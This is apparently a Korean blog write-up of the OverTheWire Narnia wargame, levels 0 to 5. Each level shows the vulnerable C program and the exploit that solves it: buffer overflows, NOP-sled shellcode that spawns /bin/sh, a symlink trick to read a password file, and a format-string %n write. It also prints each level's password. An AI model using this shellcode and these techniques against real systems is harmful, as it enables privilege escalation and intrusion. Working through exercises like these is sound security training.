Post

Narnia

Narnia

https://overthewire.org/wargames/narnia/


1
2
3
4
5
6
7
8
9
10
11
12
13
Summary:
Difficulty:     2/10
Levels:         10
Platform:   Linux/x86

ssh narnia0@narnia.labs.overthewire.org -p 2226

Username: narnia0
Password: narnia0

cd /narnia

password dir : /etc/narnia_pass/narnia{}



Level 0 -> Level 1


1
ssh narnia0@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* narnia0.c */

#include <stdio.h> 
#include <stdlib.h>

int main(){
    long val=0x41414141; 
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}


평범한 bof 문제로 buf에 ‘a’ 24글자 입력해주면 바뀜.

따라서 마지막 4글자만 0xdeadbeef 넣어주면 됨.


1
2
3
4
5
6
7
8
narnia0@narnia:/narnia$ (python -c 'print "a"*20+"\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
id 
uid=14001(narnia1) gid=14000(narnia0) groups=14000(narnia0)
cat /etc/narnia_pass/narnia1
efeidiedae


1
password : efeidiedae



Level 1 -> Level 2


1
ssh narnia1@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}


gdb로 까보면 EGG의 값을 함수로 호출함.

여기에 system(‘/bin/sh’)를 넣어주면 됨.

쉘코드로 넣어주면 성공.


1
2
3
4
5
6
7
8
9
10
narnia1@narnia:/narnia$ export EGG=`python -c 'print 
"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC9\x31\xD2\xB0\x0B\xCD\x80"'`
narnia1@narnia:/narnia$ env | grep EGG
Binary file (standard input) matches
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14001(narnia1)
$ cat /etc/narnia_pass/narnia2
nairiepecu


1
password : nairiepecu



Level 2 -> Level 3


1
ssh narnia2@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}


1번과 동일한 유형.

buf의 위치는 [ebp-0x80]에서 시작함.

따라서 입력을 nop 42byte + shell 48byte + nop 42byte + ret를 주면 됨.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) r `python -c 'print "a"*132+"bbbb"'`
Starting program: /narnia/narnia2 `python -c 'print "a"*132+"bbbb"'`

Breakpoint 1, 0x0804848f in main ()
(gdb) x/200wx $ebp-0x80
0xffffd5b8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5c8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5d8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5e8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5f8:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd608:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd618:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd628:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd638:     0x61616161      0x62626262
[redacted]
0xffffd818:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd828:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd838:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd848:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd858:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd868:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd878:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd888:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd898:     0x42424242


argv[1]의 주소 값은 0xfffd818임.

쉘 코드를 넣어서 쉘 코드가 있는 주소를 확인해보면 0xffffd83e임.

따라서 ret에 위 주소를 넣어주면 성공.


1
2
3
4
5
narnia2@narnia:/narnia$ ./narnia2 `python -c 'print "\x90"*42+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*42+"\x3e\xd8\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$ cat /etc/narnia_pass/narnia3
vaequeezee


1
password : vaequeezee



Level 3 -> Level 4


1
ssh narnia3@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }
    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);

    exit(1);
}


입력을 ebp-0x38에서 받고 /dev/null이 있는 곳은 ebp-0x18에 있음.

/dev/null은 아무런 출력 값을 내놓지 않으므로 이 값을 내가 만든 파일로 바꿀꺼임.


1
2
3
4
5
6
7
8
narnia3@narnia:/narnia$ ltrace ./narnia3 `python -c 'print "a"*32+"BBBB"'`
__libc_start_main(0x804850b, 2, 0xffffd764, 0x8048620 <unfinished ...>
strcpy(0xffffd690, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...)                         = 0xffffd690
open("BBBB", 2, 037777777777)                                                     = -1        
printf("error opening %s\n", "BBBB"error opening BBBB
)                                              = 19  
exit(-1 <no return ...>
+++ exited (status 255) +++


따라서 비밀번호 파일을 링크를 해줘서 그 파일을 읽게 한 다음 내가 읽을 파일에 쓰여지게 해주면 됨.


1
2
3
4
BBBB 부분은 /tmp/password 로 변경해줄꺼임.
32byte 부분은 /tmp/+"b"*27로 해줄꺼임.

-> /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password


따라서 우리는 두 가지의 파일을 생성해줘야 함.

첫 번째는 /tmp/password 파일과
두 번째는 /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password 파일임.

두 번째 파일을 password 링크 파일로 해줘서 이 파일을 읽게 하여 첫 번째 파일에 쓰여지게 할꺼임.


1
2
3
4
5
6
narnia3@narnia:/narnia$ touch /tmp/password
narnia3@narnia:/narnia$ ls -al /tmp/password
-rw-r--r-- 1 narnia3 root 0 Jan 22 06:58 /tmp/password
narnia3@narnia:/narnia$ chmod 777 /tmp/password
narnia3@narnia:/narnia$ ls -al /tmp/password
-rwxrwxrwx 1 narnia3 root 0 Jan 22 06:58 /tmp/password


/tmp/password에는 narnia4의 권한이 없으므로 권한을 줘야함.

이제 두 번째 파일을 생성해야 함.


1
2
3
4
5
6
7
narnia3@narnia:/narnia$ mkdir /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp
narnia3@narnia:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ln -s /etc/narnia_pass/narnia4 password
narnia3@narnia:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ls -al
total 8
drwxr-sr-x 2 narnia3 root 4096 Jan 22 07:01 .
drwxr-sr-x 3 narnia3 root 4096 Jan 13 16:18 ..
lrwxrwxrwx 1 narnia3 root   24 Jan 22 07:01 password -> /etc/narnia_pass/narnia4


1
2
3
4
narnia3@narnia:/narnia$ ./narnia3 /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password
copied contents of /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/password to a safer place... (/tmp/password)
narnia3@narnia:/narnia$ cat /tmp/password
thaenohtai


1
password : thaenohtai



Level 4 -> Level 5


1
ssh narnia4@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}


입력을 [ebp-260]부터 받음. 따라서 119 nop + 25 shell + 120 nop + ret


1
2
3
0x08048518 <+109>:   lea    eax,[ebp-0x104] // 260
0x0804851e <+115>:   push   eax
0x0804851f <+116>:   call   0x8048360 <strcpy@plt>


argv[1]의 주소를 gdb로 확인하고 쉘 코드는 0xffffd80b부터 시작함.


1
2
3
4
5
narnia4@narnia:/narnia$ ./narnia4 `python -c 'print "\x90"*119+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*120+"\x0b\xd8\xff\xff"'`
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14004(narnia4)
$ cat /etc/narnia_pass/narnia5
faimahchiy


1
password : faimahchiy



Level 5 -> Level 6


1
ssh narnia5@narnia.labs.overthewire.org -p 2226


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
        setreuid(geteuid(),geteuid());
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}


format string bug를 이용해 풀 수 있음.

i에 500을 넣어줘야하기 때문에 i의 주소를 넣고 입력 값이 참조되어지는 포맷 스트링은 첫 번재이므로 첫 번째에 500을 넣어줘야 함.

주소값 4 + 496 총 500의 값이 i에 씌워지게 될꺼임.


1
2
3
4
narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xd0\xd6\xff\xff"+"%496c%1$n"'`
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [                                            ] (50)
i = 1 (0xffffd6e0)


주소가 바껴서 다시 입력.


1
2
3
4
5
6
narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xe0\xd6\xff\xff"+"%496c%1$n"'`
Change i's value from 1 -> 500. GOOD
$ id
uid=14006(narnia6) gid=14005(narnia5) groups=14005(narnia5)
$ cat /etc/narnia_pass/narnia6
neezocaeng


1
password : neezocaeng



Level 6 -> Level 7



ssh narnia5@narnia.labs.overthewire.org -p 2226

password : neezocaeng


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
    char b1[8], b2[8];
    int  (*fp)(char *)=(int(*)(char *))&puts, i;

    if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

    /* clear environ */
    for(i=0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));
    /* clear argz    */
    for(i=3; argv[i] != NULL; i++)
        memset(argv[i], '\0', strlen(argv[i]));

    strcpy(b1,argv[1]);
    strcpy(b2,argv[2]);
    //if(((unsigned long)fp & 0xff000000) == 0xff000000)
    if(((unsigned long)fp & 0xff000000) == get_sp())
        exit(-1);
    setreuid(geteuid(),geteuid());
    fp(b1);

    exit(1);
}







This post is licensed under CC BY 4.0 by the author.